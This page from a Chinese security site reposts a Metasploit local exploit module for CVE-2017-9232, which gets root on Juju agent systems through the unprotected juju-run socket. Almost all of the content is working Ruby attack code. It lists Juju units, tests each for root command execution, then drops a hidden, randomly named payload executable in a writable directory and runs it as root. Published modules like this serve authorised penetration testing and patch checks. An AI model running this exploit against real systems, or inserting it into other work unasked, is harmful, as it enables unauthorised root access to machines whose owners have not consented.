首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Juju-run Agent Privilege Escalation
来源:metasploit.com 作者:Coles 发布时间:2018-02-12  

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Juju-run Agent Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges on Juju agent systems
        running the juju-run agent utility.

        Juju agent systems running agent tools prior to version 1.25.12,
        2.0.x before 2.0.4, and 2.1.x before 2.1.3, provide a UNIX domain socket
        to manage software ("units") without setting appropriate permissions,
        allowing unprivileged local users to execute arbitrary commands as root.

        This module has been tested successfully with Juju agent tools versions
        1.18.4, 1.25.5 and 1.25.9 on Ubuntu 14.04.1 LTS x86 deployed by Juju
        1.18.1-trusty-amd64 and 1.25.6-trusty-amd64 on Ubuntu 14.04.1 LTS x86_64.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Ryan Beisner', # Discovery and PoC
          'David Ames (@thedac)', # Discovery and PoC
          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
        ],
      'DisclosureDate' => 'Apr 13 2017',
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        => [[ 'Auto', {} ]],
      'References'     =>
        [
          [ 'CVE', '2017-9232' ],
          [ 'BID', '98737' ],
          [ 'URL', 'https://bugs.launchpad.net/juju/+bug/1682411' ]
        ]
    ))
    register_options(
      [
        OptString.new('UNIT', [ false, 'A valid Juju unit name', '' ]),
        OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
      ])
  end

  def check
    juju_run_path = cmd_exec 'which juju-run'

    if juju_run_path.start_with? '/'
      vprint_good 'juju-run is installed'
      return CheckCode::Detected
    end

    vprint_error 'juju-run is NOT installed'

    CheckCode::Safe
  end

  def unit_names
    units = []

    cmd_exec('/bin/ls -m /var/log/juju/*.log').chomp.split(/,\s*/).each do |log|
      units << ::File.basename(log).gsub(/\.log$/, '')
    end

    cmd_exec('/bin/ls -m /var/lib/juju/agents/').chomp.split(/,\s*/).each do |agent|
      units << ::File.basename(agent)
    end

    units.uniq
  end

  def execute_command(cmd, opts = {})
    cmd_exec "juju-run #{opts['unit']} '#{cmd}'"
  end

  def upload_and_chmodx(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    cmd_exec "chmod +x '#{path}'"
    register_file_for_cleanup path
  end

  def exploit
    if check != CheckCode::Detected
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    units = datastore['UNIT'].blank? ? unit_names : [ datastore['UNIT'] ]

    if units.empty?
      fail_with Failure::Unknown, "Could not find any Juju units. Try specifying a 'UNIT'"
    end

    # Check each unit for a privileged socket
    print_status "Trying #{units.size} units..."

    socket_unit = nil
    unit_names.each do |unit|
      id = execute_command 'id', 'unit' => unit

      if id.include? 'root'
        print_good "Unit #{unit.inspect} uses a privileged socket"
        socket_unit = unit
        break
      end
    end

    if socket_unit.nil?
      fail_with Failure::NotVulnerable, 'Could not find any Juju units using a privileged socket'
    end

    # Upload payload executable
    payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
    payload_path = "#{datastore['WritableDir']}/#{payload_name}"
    upload_and_chmodx payload_path, generate_payload_exe

    # Execute payload executable
    vprint_status 'Executing payload...'
    execute_command payload_path, 'unit' => socket_unit
  end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·HT Editor File openning Stack
  相关文章
·glibc '$ORIGIN' Expansion Priv
·glibc LD_AUDIT Arbitrary DSO L
·Trend Micro IMSVA Management P
·JBoss 4.2.x/4.3.x - Informatio
·macOS Kernel - Use-After-Free
·Marked2 - Local File Disclosur
·HPE iLO 4 < 2.53 - Add New Adm
·HiSilicon DVR Devices - Remote
·Dahua Generation 2/3 - Backdoo
·Herospeed - 'TelnetSwitch' Rem
·Adobe Coldfusion 11.0.03.29286
·Asterisk 13.17.2 - 'chan_skinn
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved